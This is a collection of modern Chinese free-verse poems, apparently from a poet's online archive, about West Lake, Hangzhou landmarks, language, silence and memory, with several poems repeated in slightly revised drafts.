吐出了千古愁给人。 把语言围的死死的， 爬山去吗，去爬山吗。 这样说的人其实就已， 从山上下来了不是吗。 难不成他丢了什么东西， 车钥匙，注定无法再找到。 希望增添人手，不甘心。 我观察草木虫鱼很久， 但平均摊开来就不算多。 跟我与他的认识程度差不多 钥匙的旅程，秋风冬雨里 走的很深，最先是枯枝不经悬挂， 又被枯草丛掩盖。钥匙 为了追上这个人形成的 世间的循环，是我一直想要 观察的。草木虫鱼，人类呢？ 西湖大波浪七1523 《西湖大波浪七》 差一点和成真里面 含有一声惊呼: 竟然是由的它来导致 但又不好说。也不好就这么算了。 现实里面有人在来来回回， 有人充满了走在语言上的 正当性，准备对此苛责的， 赶往那里。说没有一个秘密 是不是说说是通过了嘴唇， 口腔和牙齿的三分而坦诚的？ 我只能作为一个听众， 在台下你也一样。 吸引我们充足兴趣的， 并不是讨论和辩论。 以及对于此的排除， 就如同最终贴敷在了 脸庞上面的戏曲的不 需要去解释和表达。你， 因而怎么就站在了 台子上面来表达， 世间最晦涩，难解以至于 打翻了苦闷醋坛子的此时刻呢。 这里也是你，也是的面前 由我在你目光里面。 等我一下。这些 思绪如果称不上思。 它们是偷偷藏匿的， 它们在粗糙落后的 不需要规范的乡下。 我需要的消除只是 随手之劳。戏曲 正在上演， 女人走莲步，缺一不可 听众很多，因为现实很少。 西湖大波浪八1524 《西湖大波浪八》 莲花后面只是湖， 通过突然就可以判断出来 有多少湖泊，以及史书中的失败了。 但因此并不是投身于湖 只是边说着话，对孟姜女 同情了一番。绕湖行走的匆匆忙忙 比之于绕历史行走 后者反而更为的具体。 所以，一个人从一件事 到另外的一件。从 长坂坡，火烧连营，燕云十六州 等等，到头顶夜晚星星般的虚幻 都很突然。都紧接着以 两件为一的顿悟啊，强词夺理啊 顽固啊来串联。 我今夜停留为什么云层 没有消散，笼罩住了因果。 我有一个亲戚，一个爱人 皆不爱读史书，我有一个 很小的亲戚孩子，弄不懂 为什么房间里面的书籍越来越多 无中生有，他爹也弄不明白了。 西湖大波浪九1525 《西湖大波浪九》 眼前的楼房不高， 越过了这些楼房， 对我而言就是远方。 你住在那里，陌生人 死活，我不认识你 但我突然有你比我 亲戚还要亲的感觉。 下了车，匆匆往家赶。 很想要问一问父母， 我有没有一个妹妹， 在世界上突然很是孤独， 随后就感觉到了荒诞 和家庭的美满。 灵隐寺里的大和尚十一1526 《灵隐寺里的大和尚十一》 需要多远， 把一个西瓜切成了兰花。 那时候我们的语言 在做什么，它并没有闲着。 不在椅子上，院子里。 也不在凳子上的空上， 或者里面。桂花是兰花， 一开始就瞄定语言的人， 更早前，碰到了一个卖西瓜的。 傍晚他美滋滋的，抱着个大西瓜。 他的家，在L史上最为伟大S想家 的顶部。 药材铺十1527 《药材铺十》 需要多远， 把一个切成了兰花的西瓜， 再切回来可好。 语言结束了， 倦鸟归巢的是麻雀。 剩下的就是吃的 谨小慎微。 有一把尺子， 就可以从你的肚子， 拉到你说的那个花圃。 因为没有，我说。 你没有请我吃西瓜， 我没有说你胖了多少斤。 白素贞二十二1528 《白素贞二十二》 眼前的残篇断章， 上面不清晰的文字 由另外的一个人写就。 \/ 为了寻找。在遗失的 目的和作用之间， 这寻找变得具体起来。 \/ 但是群山以山峦起伏不断 而群山座座。人变得 身体吃不消，馒头慰藉了 他。这个时候，我给他说， \/ 要写这样一份隐喻的同时， 寻找一份因果的人， 他的那些儿女双全，家庭的 和和睦睦的往日岁月。庐山。 灵隐寺里的大和尚十二1529 《灵隐寺里的大和尚十二》 蚕豆如同开花， 因有一些确确实实的 落入了语言中。 \/ 我在吃饭的时候表达 富臃，现在的纤瘦 和命运走向的必不可免里面 的幸福。我在幸福的此刻的 \/ 吃饭，以词一般针对吃这个字 超出了它。大地超出了我的家乡。 蓝色的嘴唇，翕动 \/ 吹送，像风一阵阵的。 多少有些悲凉意思。 清波门一1530 《清波门一》 自我反驳的水， 可以变成木头、 枝条、房梁、和窗户。 \/ 我已经不像以前了 我那么悲凉的心情， 用不想听你开口来表达。 那些话语已经在了我的 嘴唇里面。你，盲目的你。 只剩下了爱意一具的人。 \/ 是否你还记得，某一天 路过某个村庄，简陋的人家。 自我反驳的水变作了木头 横放，小院中全是木头和灰尘。 这些水在语言里面难关难过 \/ 像不可度过而返身为湖 又是又一次的，当它以 湖泊的现代化的形象。 于是你，你这个孤独的 水里电工的妻子。 清波门二1531 《清波门二》 自我反驳的水， 可以变成木头、 枝条、房梁、和窗户。 破旧的院中，有水， 木头，房梁，和窗户。 \/ 迟来的是话语， 像信件一般， 向一个逝者告知了， 其他失约的事物。 清波门三1532 《清波门三》 五月花开富贵， 已经被你说了。 \/ 有一朵具体的花， 先于了它的美丽。 \/ 这些肇事者， 身处在了某一处。 打算去作，观者无辜。 \/ 词语因为美，时间因为 美而消失。现在只剩下风景， 这是在很早以前已经发生的。 清波门四1533 《清波门四》 我通过你尝试写我， 我也洗碗，打扫卫生 通过它们我目光转移发生。 这些山我看旧了的时候， 一个人因为我 在陌不相识里面， 共同的悲叹来自于 书信时代的早已经过去。 所以，谨小慎微的你要 好好的活着，肥胖，吃好吃的。 渐渐的我知道了， 洗碗怎么也洗不掉歧义。 看旧了山水，这一天和你， 都明亮光泽如同结束了的。 这里生成了一个原因， 使得我的话语继续， 而且断断续续。洗碗 断断续续的， 从手跃进了历史， 一个又一个碗的具体。 如果它们没有了一个去处， 因为那些去处，封闭自身 瓷器的表面明亮光洁。回见。 清波门四1534 清波门四 《清波门四》 我通过你尝试写我， 我也洗碗，打扫卫生 通过它们我目光转移发生了。 这些山我看旧了的时候， 一个人因为我 在陌不相识里面， 共同的悲叹来自于 书信时代的早已经过去。 所以，谨小慎微的你要 好好的活着，肥胖，吃好吃的。 渐渐的我知道了， 洗碗怎么也洗不掉歧义。 看旧了山水定有遗忘的因果， 这一天和你， 都明亮光泽如同结束了的。 这里生成了一个原因， 使得我的话语继续， 而且断断续续。洗碗 断断续续的， 从手跃进了历史， 一个又一个碗的具体。 如果它们没有了一个去处， 因为那些去处，封闭自身 瓷器的表面明亮光洁。回见。 清波门五1535 《清波门五》 说话的时候， 不是不说话的时候。 \/ 说话的时候是大洪水 随后会淹没那些 涓涓细流和小洪水。 最初，我觉得它们不必言说。 \/ 仅仅在窗口外面树枝的 尽头，通过间接的关系 开花，结果。如果抽离 那些从此而来的养料， \/ 将使得它们死去。 如今衰弱，并不指向此。 与此无关的言语， 得多亏了带来冬日温暖的墙壁。 抽象的事物总是被束之高阁 \/ 然后以噔噔噔的下来而完整 和具体。我总觉得这些 恍然大悟的时刻少了些， 以一个谎话的方式， 我诚实的说这些小洪水。 清波门四1536 清波门四 《清波门四》 我通过你尝试写我， 我也洗碗，打扫卫生 通过它们我目光转移发生了。 这些山我看旧了的时候， 一个人因为我 在陌不相识里面， 共同的悲叹来自于 书信时代的早已经过去。 所以，谨小慎微的你要 好好的活着，肥胖，吃好吃的。 渐渐的我知道了， 洗碗怎么也洗不掉歧义 看旧了山水定有遗忘的 因果发生。这一天和你， 都明亮光泽如同结束了的。 这里生成了一个原因， 使得我的话语继续， 而且断断续续。洗碗 断断续续的， 从手跃进了历史， 一个又一个碗的具体。 如果它们没有了一个去处， 因为那些去处，封闭自身 瓷器的表面明亮光洁。回见。 西湖一1537 《西湖一》 我的不知道， 在我的知道上面 晃动。如果我不能越过 颇具有历史感的、 矛盾的和因此极其微小的。 停留于知道的明确， 作为一个人而存在。 却询问着存在到底是什么， 在没有爱情的日子和世界， 里面。太阳升起，群山 起伏连绵。向着世界之外。 西湖二1538 《西湖二》 可能我需要酒，站在店门口。 不进去，就成为语言了。 \/ 语言的内容，以及 可以不需要来喝和饮用。 这样孤单的船帆以及， 无形的可以溯源到言语的风。 \/ 这时候夕阳西下，它又刮起来。 我只是，我只是很无能无力的 很是想你。而这个地方太过于， 因为情谊而杜撰。事先就是 从你的防止到达而建筑、建构。 \/ 路人缓缓朝前走着，西湖 的湖岸线绵延而又悠长。 我的头颅抬起来，当那些 沉重的部分并未减弱分毫。 \/ 我正是你双眼里面的远处， 乐此不彼于为此，所占据的 由称作了那思的，每当它更为 永久的错误。它围绕着爱情。 西湖三1539 《西湖三》 没准，我像一只鸟一样。 正是这离开了鸟的虚像， 这离开不会走远的远的虚像， 如果双重的不足以够， 一只鸟在枝头轻微运动。 树皮般的爪子抓得很紧， 足够的抵近接着深入 为退出作为在语言上面的 一切，而不必要让语言的历史 更甚的。在我提到了的彼此的相似性 上面，再比如，等那亲缘般的哑炮过去。 而我的对于语言史最终 是语言，人世和历史的交融 抱之轻笑。语言之鸟，鸟儿的 归宿伸出避无可避。 在大地上面的只消裸露自身者的 一下子，其中包括着那永恒性的神秘 等到它瞬间消失不见而留下了的 叫做了瞬间，在因此所说的是我的 参与下，这些轻笑的无可奈何的来处 以及我的无法对于此的拒绝。 我很想问问鸟儿，因人来鸟不惊 是不够的，因世间从大到小的生灵 都颠F了每一次的言语。鸟与我 因为没什么特别的那相像， 青草被风吹动，我有一双堵塞的耳朵。 西湖三1540 西湖三 《西湖三》 没准，我像一只鸟一样。 正是这离开了鸟的虚像， 这离开不会走远的远的虚像， 如果双重的不足以够， 一只鸟在枝头轻微运动。 树皮般的爪子抓得很紧， 足够的抵近接着深入 为退出作为在语言上面的 一切，而不必要让语言的历史 更甚的。在我提到了的彼此的相似性 上面，再比如，等那亲缘般哑然的 过去。自行消散的自然的本质。 而我的对于语言史最终 是语言，人世和历史的交融 抱之轻笑。语言之鸟，鸟儿的 归宿伸出避无可避。 在大地上面的只消裸露自身者的 一下子，其中包括着那永恒性的神秘 等到它瞬间消失不见而留下了的 叫做了瞬间，在因此所说的是我的 参与下，这些轻笑的无可奈何的来处 以及我的无法对于此的拒绝。 我很想问问鸟儿，因人来鸟不惊 是不够的，因世间从大到小的生灵 都颠F了每一次的言语。鸟与我 因为没什么特别的那相像， 青草被风吹动，我有一双堵塞的耳朵。 西湖四1541 《西湖四》 把字故意写的不像， 写也是一个个体， 头顶倾斜的太阳光 透过了窗玻璃。 在一个探究的环境中， 一个字的扭曲始终附带着 还没开始写的味道。 如果我始终感觉不满意， 如果别人讨论的是大的问题。 等到人类肃穆等论题的到达， 在人类的房屋外面是风， 对这个等也向人类敞开了 自己的心肝脾肺肾。 如果我们不脱离开来， 从一棵像人的槐树，桦树那里。 西湖五1542 《西湖五》 可能我需要酒，站在店门口。 可能为真中有一个情形 并不好，这轻易就能够的不进入 西湖的水像嘴巴， 人像寻找语言的人。 \/ 语言的内容，以及 可以不需要来喝和饮用。 这样孤单的船帆以及， 无形的可以溯源到言语的风。 \/ 这时候夕阳西下，它又刮起来。 我只是，我只是很无能无力的 很是想你。而这个地方太过于， 因为情谊而杜撰。事先就是 从你的防止到达而建筑、建构。 \/ 路人缓缓朝前走着，西湖 的湖岸线绵延而又悠长。 我的头颅抬起来，那些 沉重的部分并未减弱分毫。 \/ 当我正是你双眼里面的远处， 乐此不彼于为此，所占据的 由称作了那思的，每当它更为 永久的错误。它围绕着爱情。 西湖六1543 《西湖六》 可能我需要酒，站在店门口。 可能为真中有一个情形 并不好，这轻易就能够的不进入 西湖的水像嘴巴， 人像寻找语言的人。 \/ 只好在湖边竖一块警示牌， 越过游客这一重身份。 不远处有另一个人， 正坐在石头上欣赏风景。 西湖七1544 《西湖七》 我的不知道， 在我的知道上面 晃动。为旧日所做的事情 它有一个具体的情形， 当它在模糊中寻找着矛盾。 如果我不能越过 颇具有历史感的、 矛盾的和因此极其微小的。 \/ 停留于知道的明确， 作为一个人而存在。 却询问着存在到底是什么， 在没有爱情的日子和世界， 里面。太阳升起，群山 起伏连绵。向着世界之外。 它们的答案早已经因为显现 而到来。 西湖八1545 《西湖八》 根部埋进了土壤深处， 多么自然的因为其而丧失。 在这样一个结束的虚伪上面， 直到此刻的样子，仿佛是 称之为开始。开始般的人类的 语言，枯萎的初冬的黄叶 如果仅仅于此而把，现实 里面的事物（和并不隶属于的）， 都一一指向了语言。而 在言说中所做更多难免要 归结在所要的相反这里。 对于你这样子的一个人， 这是沉重的。当这沉重的 人类的命运都压在了你的 身体上面，我只能劝说， 一件大衣和一个保暖内衣 时不够的，你的所有的语言 在解释性里面都归于秋风冬雨 我们也会一起结伴回家， 这微不足道但是是浪漫的 小事，一起在山脚下，变成 两个小点，两个萤火虫吧。 西湖九1546 《西湖九》 可能我需要酒， 站在店门口。 不进去，成为 语言了就不进入了。 但已经没有多少功夫， 所以很多的事情 今天的下午。人影一般的 被迟到的分开。 当你也看到了， 语言总是一次次指向了 湖水。而为了谨防异乡人 而做的修建，我们从防波堤 的根部开始了 历史般再一次的考察。 现在还没有动， 风正在消失， 有另外一种， 叫做了风如果注定由此 是矛盾和冲突， 我们不说话———— 除了那些震惊于大自然 伟力的平复，不说。 我们从那里而来。 油纸伞一1547 《油纸伞一》 使人忧伤的 将继续如此。 语言的苦难的历程， 多半因为颠簸。 像这样徒劳无功的时刻， 以及与此相应的， 我才可以知足常乐的时刻。 我生活的地方应对着 家乡这个提法。和家乡 总是有高高的群山。 从山上下来， 你就使得了它的高度 以方式的更加隐晦。 甚至是它的阴影，不见了。 我需要看你这个人很久， 包括过度砍伐，开垦， 文字中现代化的荒芜。 而因此，我不得不堵住了 自己的耳朵，在某天夜里， 在第二天丧失掉。 我读过的诗歌都无法拯救 一个人。那另外的那一个， 带着真相跑的诗句， 从此在人间的大街小巷流传。 青蛇十九1548 《青蛇十九》 拥有了很多重意思的石头，小树 当正在消失的它们进展缓慢。 当并不属于这一些。早晨， 小树和石头隶属于不远处的村庄， 我的目光也随之而上，远去。 青蛇十九1549 青蛇十九 《青蛇十九》 拥有了很多重意思的石头，小树 当正在消失的它们进展缓慢。 并不属于这一些。早晨寒风刺骨， 小树和石头隶属于不远处的村庄， 我的目光也随之而上，远去。 青蛇二十1550 《青蛇二十》 对着夕阳鞠躬，这个想法怎么来的。 当它突然冒出来的时刻，因为颇有 一些与思索的迥异，并且是在迥异 上继续的。而如果没有。这就是了。 我无法知道是否已在不足上面足够， 眼前的这一事实，也无法确切的知道， 使用什么词语，以还没有到来来描述， 精力已经消尽。夕阳为人可以以词语 的言说所做，宽容和大度。金色的余晖。 油纸伞二1551 《油纸伞二》 虚妄用来描述 那被用来描述的时刻。 如何变被动变主动， 在冬季，我们是否 因此也还有其他。 \/ 正是我们自己。 但没有一面比模糊的 冰霜大地更清晰的了 这一面镜子因此在称呼的 一再温柔里面包含了破碎。 \/ 我也再不愿意继续了， 有关于任何的事情。 正是由此出发， 而我原本坚信是从极其微小的 某一样事物。借着 这种称谓的神秘的色彩 有一些我无法知道的真相 蔓延，我能感觉到。 \/ 说神秘的感觉， 也是没有错误的。 和人的历史。 油纸伞三1552 《油纸伞三》 偏安一隅里面的寻找， 寻找的具体内容是寻找 那个悠然见南山。 就是自我，但因为未来的 语言给迟钝了。 这同样是未来的具体。 某一个人需要弯下腰， 他的尊严都写在脸上， 如果是非曲直仍旧 不是乡村间的一片蛙鸣 它们可以比拟于其他之上 在调换了位置上面， 仿佛那些古老的词章再一次的 开始，如果再给你失败一次 的机会，你还会重来么 瞧瞧，这采菊东篱下 下的最终答案吧。 油纸伞二1553 油纸伞二 《油纸伞二》 虚妄用来描述，那被用 来描述的这一个时刻。 如何变被动变主动， 在冬季，我们是否 因此也还有其他。 \/ 正是我们自己。 但没有一面比模糊的 冰霜大地更清晰的了 这一面镜子因此在称呼的 一再温柔里面包含了破碎。 \/ 我也再不愿意继续了， 有关于任何的事情。 正是由此出发， 而我原本坚信是从极其微小的 某一样事物。借着 这种称谓的神秘的色彩 有一些我无法知道的真相 蔓延，我能感觉到。 \/ 说神秘的感觉， 也是没有错误的。 和人的历史。 油纸伞四1554 《油纸伞四》 拥有了很多重意思的 石头和小树。当这一 正在消失的它们进展缓慢。 徐徐向前，同样，不远处 有另一些石头，小树。 我觉得以自然区分所表达的 可进行，可发生终可以去做。 由一个个普通人的搭眼一看， 其中有一些在我的眼前， 看我，不看树，风景乏味。 油纸伞五1555 《油纸伞五》 人世间事物最大，当它以 一个等待反驳的总结者而 消弥了语言的时候。瑰丽纷乱 我无法知的仅只是这身体， 在称呼它的时候，我使用个体 这个词语。是否有着的可能性 一一的都已经以终结的形式呢。 像如此正是在藏匿一个提问 用一个其他问题的外貌和样子。 令我痴迷，令我的冷漠和绝情 它们对于此的痴迷更甚至于了我。 而我始终通过一个个的事物， 生活，起床，推开了窗户和门 我将只能如此在言语里面， 把悲观的一句随口之言表达。 接着这些事物，跟我的情况一样 并无二致，那些昨日的墓碑主人 我无法确切的知道，谁这样认识 或者否定。以及偶然如同天空中 飞鸟。冰冷而灰白的大理石， 如今作为一个抛光石头的工人， 等待那些山中用火药开采石头的 人，引燃，拖拉机嘟嘟嘟把石头送来。 白素贞二十三1556 《白素贞二十三》 我对着的于那更小追求 上面，盲目的认识。眼睛 可用来视物的时候。我的 面前，两棵树，槐树和梧桐树。 都不同，南方的纤细与窈窕 树木别有风姿。冷冽的空气 一点点将伟大的道理淡化， 这一切的发生，于是否可以 称得上隐秘的时刻里面。 南方的树木不同于北方的树木 生长在庭院，园林或者道路的 两旁，温度适宜，游人如织。 城西十九1557 《城西十九》 现在你成为了一个煤矿工人， 成为了你所是么？ 早晨寒冷起的很早， \/ 一言不发， 你洗着手洗着脸。 城西十九1558 城西十九 《城西十九》 现在你成为了一个煤矿工人， 成为了你所是么？ 早晨寒冷起的很早， \/ 一言不发， 下矿井的时间还没有到 洗着手你脸很干净。 油纸伞六1559 《油纸伞六》 梦想过之地，我到达它了。 这是它消逝的形式，因为我， 没有破碎的声音。但需要我 去沉默不语，对于语言以 细小的事物，形成某种短暂的 规矩、限制。为了人类的自由， 为了大自然，这都是有必要的。 而观察它的具体的情形， 在自我这里那些感受随时 赋予给了我的，它们是平常 和现实，我感觉到了悲观，寒冷 无法确切的知道内心最深处的， 如果它有的话。 油纸伞七1560 《油纸伞七》 梦想过之地，我到达它了。 这是它消逝的形式，因为我， 而没有碎裂的声音。但需要我 去沉默不语。新的一天里面 这些事情全都没有，最为坚决 的为什么要隐秘在心里面， 那么，语言以梦想之地无的 形式，那些隐秘不是说出和表达 不远处，你才可以刷牙，用 黑人牙膏，一只手撑在灶台上面。 油纸伞八1561 《油纸伞八》 梦想过之地，我到达它了。 这是它消逝的形式，因为我 而没有碎裂的声音。但需要我 去沉默不语。正是我亲身的走过 当我走过了它的时候我毫无察觉。 问题仅仅在于是否说出与否么， 像枯藤，那昨天要是昏暗则会 坠落向黑色。而明亮使得了它 不是我以为的那天。有众多的 过去，本就是理所当然，传统的。 因此才与今天发生了关系，但因此 有另外一个因果。 西湖十1562 《西湖十》 更为的漫长， 包括收获的历史相对于此 的短暂，而那些随后的历史 总和，正是这个。而反驳 仿佛并没有一个可以被 看得到的，获得的人心里面 试图将隐去过去的想法实现。 这诉诸以行，如果我们不加以 干涉，它就是会自行的失败。 而在于文明史中人类作为了 一个反面的教材，而存在。 与我们所说的存在并不是 一回事。两回事，一个人 有关于存在，他去某个深山 寻找埋藏起来的神秘宝藏。 西湖十一1563 《西湖十一》 以淘金的名义到来， 和故乡的名义。 到达了饮用水珍贵的游子， 离开时候的淘金者大街。 请充满了对底层人士的隐喻， 也只有它们。寓意着还没有完成， 你的后代子孙们踏上了新的征程， 目的地是他们祖辈父辈的家乡那 个方向。 断桥一1564 《断桥一》 我们如何才能够不说出 :这本身也是事物一个， ————这语言的实质。 当它已经在了现实之中， 像它所栖身的生命一样 感到了好奇，而生命感到不安。 断桥一1565 断桥一 《断桥一》 我们如何才能够不说出 :这本身也是事物一个， ————这语言的实质。 当它已经在了现实之中， 像它所栖身的生命一样 它感到了好奇，生命感到不安。 断桥二1566 断桥一 《断桥二》 我们如何才能够不说出 :这本身也是事物一个， ————这语言的实质。 当它已经在了的现实中， 它所栖身的生命 它感到了好奇， 而生命有着种种不安。 断桥三1567 断桥一 《断桥二》 我们如何才能够不说出 :这本身也是事物一个， ————这语言的实质 还是重托。 当它已经在了的现实中， 它所栖身的生命。 它感到了好奇， 而生命有着种种不安。 断桥三1568 《断桥三》 从简洁开始的可以是一切， 当它以具体的一个事情开始。 也就有一个终点的可以预测了， 美丽的中途不能够太过于匆忙。 事情往往却总是不能事随人愿， 一切围拢了那个单一。 没有出发的闪光的时刻， 就像是一个微弱的蜡烛。 断桥四1569 《断桥四》 我想和沉默比较一下， 和沉默的比较和比拟。 和梧桐树，和冻水塘。 我也想活动活动， 在树的微小阴影里面。 它将会随太阳的升起 逐渐的扩大了自身。 它对于万物覆盖起来 是否以我如此询问的形式 在询问里面，我好奇 那离开的时刻，随后 它覆盖而下，由倾斜 变得越发的垂直和明亮 正是在这样的一些时刻 它正在回忆于自身的伟大。 断桥五1570 《断桥五》 这枯瘦肉身， 在他一个人的时候， 想要说话。 正是这想要说话 正是在想要说之中， 话语掩埋了话语， 真相变作声音的震动。 在永远不会有真相里面 说话，说试着沉默。 这样子的一个人， 亲切的称呼他， 他并不是那曾经的一个了 人类的谱系通过了繁殖 代代传承像一首老旧颂歌 而在他的沉默这里面， 几乎消亡等同于重生的时刻。 断桥六1571 《断桥六》 只有何其巨大变作了， 小的声音，声音细小的 近乎于说。 所以无物也是说了， 正在这我们说了的时刻 它远离，它向着那巨大 注定是失败的。 它有时候回忆了起来， 于是，我们声音的内容 在远方出现，多么的神奇 它说，我说，“巨大的宇宙 和渺小的人类”。 断桥七1572 《断桥七》 黑夜用来表达 白天正在逝去。 白天就落入了词语当中。 而梦境如此现实感于， 它看到了这是不可能的 它听到了黑白轮转不停休 有一个希望停止的渴求 被它听见了。 断桥八1573 《断桥八》 有一天你会咬一个新柠檬， 并且封闭，当在这样一些， 可以称之，而不必的时候。 它那里面有大量大量的太阳。 断桥九1574 《断桥九》 花儿会一直开，美丽的开 是一直开放的修饰语。 人类的语言来自于， 被美丽给迷晕了。 你会觉得并且自己承认了， 这是一个良宵， 是一个你承认了是良宵的夜晚， 我走的更近，它如此美丽。 断桥十1575 《断桥十》 我睡了， 第二天晚上我也睡了。 一半的生命在睡了之外， 在睡了之后我在醒 逃脱睡眠的黎明时分。 在一天之中，在最早晨的时候。 我充分的感觉和感受， 我觉得依然不足够 我从睡意沉沉所作 那表达从困倦的离开中 摆脱的那种困难那里。 那里，这里和语言语中的哪。 断桥十一1576 《断桥十一》 我心情忐忑的说， 说出的并不忐忑， 而是确定。在嘴唇 里面，当越了过去 才可以谈论它们彼此的 泾渭分明。而需要语言 的时刻依然很长久， 随后我会开口说话 走动，或者静下来。 断桥十二1577 《断桥十二》 心情忐忑， 说出的事并无忐忑。 仿佛这样它反而与心灵 有关系起来了，这样进入了 那个紧紧盯着我嘴唇的人的 言语中。言语对于我来说 它让我无话可说。我始终是 在无人的时候喋喋不休。他人的 言语让我备受折磨，所以我现在 分不清楚了。慢慢的我接受了， 人就是模糊不清的一部分。 如果这不是人最初的本质， 那么什么又是呢。人只是人 对于此的态度上面的永恒猜测 以人的方式提出了来， 仿佛世界只是镜中花和水中月亮。 断桥十二1578 《断桥十二》 灯塔，如果它不为真。 它那不为真起了来，因为起来。 像一种永远都不会结束， 短暂，是我们很难去准确描述的东西。 断桥十三1579 《断桥十三》 灯塔，如果它不为真。 因为起来，它那不为真起了来。 所以还是起来，像永远都不会结束 融入了大自然的哲理， 有时候我见到了一条枯水期的河流， 之后，我又离开了它。 断桥十四1580 《断桥十四》 交给他人的语言 语言意味着了交给他人的 何其稀少。这使得了 我感到难堪。这样的情绪 并非当时的情绪，被我 嘱托的人儿，那位 因为语言而凝望，注释 我像他一样，自我， 像穿过了雾气。这使得了 人们什么也在不能看清的。 断桥十五1581 《断桥十五》 交给他人的， 他人交给我的， 是这个言语， 再次交给了你。 你太过于关心我了， 你觉得，你认定的 不可改变的事物只能是我， 因此，语言中好像一个 林中的小屋，远处是 冬天田地的萧瑟与荒凉。 这是一件奇迹，那些 互相看起来毫无关系的， 你也没有看它们一眼。 正是在这些时候，人类 的漫不经心的不远处， 像远古一样的那词语 变化的是否合适。从 这些称呼的恰当与否里面， 他人变作了你，事实上 你让我在语言里面折返 鲜活人类的愿望，其中 包括着衰败，萧瑟，但需要 空气的一道气墙，让语言 去那里去吧。放逐它吧。 我对你说，你对我说，明天 重复它。 断桥十六1582 《断桥十六》 交给他人的，他人交给我的。 是这个言语，再次交给了你。 我说，跟你再无关系了 以有关系的方式。请给予我的 比一些更多一些，而不因此 讨论良心。而你从那里徐徐上升 仅仅是烦躁，衣食住行被重视，讨论。 我也曾经在这一天里面的白天， 像一只鸟儿。我看到了充满担保， 语言才像一条断崖。而它的形式 直抵着，这一天结尾处。当它 事实上发生，大自然界的伟大之力 宣告了这一切的虚假。而对此你 是否已经习惯了。从沉睡中醒来。 荷花一1583 《荷花一》 一只兽。当我唤来 语言的列兵，它， 一只兽有可能的 变幻。从只能是 草垛，草茎，飞禽走兔。 ———那些再无其他， 就连监督作用的语言， 仿佛伟力于无所不在的 可说，而不可到达。 那人类实则，已经在于了此。 他却感觉浑浑噩噩， 我也想要同样一片梦幻净土。 李商隐的妻子1584 《李商隐的妻子》 北上洛阳， 李商隐乘坐的马车。 将车辆和马匹融合。 在木头与马匹的共同之间衰老 而只有他善良的妻子可以拯救。 我一说远水解近渴， 一路上陌生的异乡人跟路边的店家 就纷纷取笑如明日里面天气中徒增了 又一抹抹的霞光。 我忽然想起了，你那诗歌之外 路线的偏离与诡异。而歌者的诗篇 始终不可解，它那有所终止的尽头。 边界是钟爱诗歌的马匹， 锦缎蒙住了双眼。 从大巴山开始就一直在雨里面， 在夜里面苦昼短。你那妻子，结婚不久 就开始学习那凭窗远眺的生死法。 荷花二1585 《荷花二》 我的心，空的。 我空着的心面对前方， 我想要不去说出什么来。 在一个幽僻的地方， 没有人会来，人的去 发生，像这里的一棵 春芽树，晃动着远处。 这里却悄无声息， 仿佛在一棵树的体内 存在着一个与之截然相反的 宇宙和世界。主要是以 天地的意思。天地， 是人类对于世界理解的口吻 那棵树，被异化了。 因此它才是了一棵树。 它因此是一棵需要我， 亲自的到来。贫乏的思想 展开，甚至都算不上。 为可以称之为和勉强的符合 我奋斗大半生。我在中途 遇见了陌生的山谷，北风 吹动一棵树，发出飒飒声。 如果我把一棵树对于人类的 规定，告诉人们，惊异， 满不相信。自始至终直到 有一个老人埋在了树的不远处。 荷花三1586 《荷花三》 冬天很大， 人很小。 \/ 我要并不总是 我需要的意思。 有穿行的意思， 而无踪迹的 并不是人类的这样 一个时刻。 \/ 却因为言语和语言 而模糊，在补救之中。 \/ 我沉默，也是一种补救 的沉默。睡眠时候的一切 多半都想不起来了， 我感到白帆远航， 扔下了一个太阳。 \/ 就是在窗子外面， 窗帘外面白光一片。 荷花四1587 《荷花四》 存在被压低，却是 言语里面自如之意。 言语结束的时候， 月亮那么低。低低的， 我在心里面也寻找着，搜寻。 我还是不太能放心下来， 我的第二个问题，那 如何面对同样平静的夜晚 植物，虫鸣，枯枝和池塘。 它们此刻正被我干扰了 我有两条道路可以到达 希望宁静的夜晚可以给出 目的地就像黑夜中的烛光 我准备，晦涩的言语和礼物 往前，我沿着麦田的小道 在靠近和远离之间，它衡量着 如果这衡量着的而没有了的， 便是以“一个结果”尝试做出的 描述时。 荷花五1588 《荷花五》 冬天很大， 人很小。雪落得 很直接，人需要 验证这不是一场惨案 走了过去。 \/ 冬天的雪来自的地方 神秘。来自于琴。 如果秘密只是 那个弹琴的人正是他。 \/ 当时没有声音 几乎可以用万籁俱寂来表示。 这黑里面的悬崖连接 又断开了延展的平地。 \/ 连那弹奏之前的时刻， 也是易逝的。孤独的 弹奏者是人人自身的不可消除。 荷花六1589 《荷花六》 一个盲人，眼睛像海岸边的灯塔 转身向内，他的明亮的内部 如今又一次接受了这一抹明亮。 我很好奇，我的言语正慢慢 在他的身体里面历险，我谈论的 逃脱不了而从假大空出发， 但在他的内心，循环是没意思的。 荷花七1600 《荷花七》 允许我假设， 我把它说出。 海岸线离的很近， 有的人没有注意。 有的有着有其他事务的人， 当这样一个个体， 混迹其中，当偏爱 是对于人流的诉说。 展现了同样无二流动的形式 如果我想要探寻它们 神秘般的模仿 这时候还有人带着， 要理顺一片藻类沙滩的想法 以工作而劳绩，迈开步子者。 春天的青城山一1601 《春天的青城山一》 山脱落的， 是它们名字对于此， 和对自我的描述。 几乎等同于这不可脱落 每每以困难重重来表示。 \/ 枯叶落入溪流 落入草地。 南风来的时候， 有一些落在地上的， 也会被风吹到水面上。 春天的青城山二1602 《春天的青城山二》 因为我我热爱追求于完成， 粗鄙之人理应当忍受 当他把热爱放在事物的 最终完成。注意力也在于此， 注意力其实是从未曾集中过。 打开窗，需要走过去， 打开窗阳光会洒落下来 也需要走过去。我从书上 听人说起，他自己的亲身感受 南方的竹寨，吊脚楼，阴郁 多雨里面的县城，像生锈的 信号接收器和凌乱的避雷针 吱吱格格，他感到新奇 又有一些紧张。 春天的青城山三1603 《春天的青城山三》 山脱落的， 是它们名字对于此， 和对自我的描述。 几乎等同于这不可脱落 又在固定不变之间， 仿佛撩拨，煎熬着人心灵 变得踌躇。 \/ 这破坏自身者， 从内心的平静离开。 如果能够一直保持着平静 在他的目光里面。 \/ 枯叶落入溪流 掉在草地上面。 风来的时候， 落在地上的， 被风吹到水面上。 \/ 他继续往前走， 不知道要去哪里。 春天的青城山四1604 《春天的青城山四》 没有意义了， 生活的本质还在 通过话语来反应， 沉默，犹如镀金 在一个被言语提及的 街道拐角处。 铁匠铺在没有人的时候 打铁的声音更加的响亮。 为了切近生活，接着 为生活中的种种所提供 出来的后路，犹如空气的 爆裂声。从此以后你会 平平安安的走在这条路上， 春雨后土壤生出了嫩芽， 种子真正的消失不见了 作为语言沉默的部分 它盘旋在你思绪的周围， 你正生出来了回忆的时候。 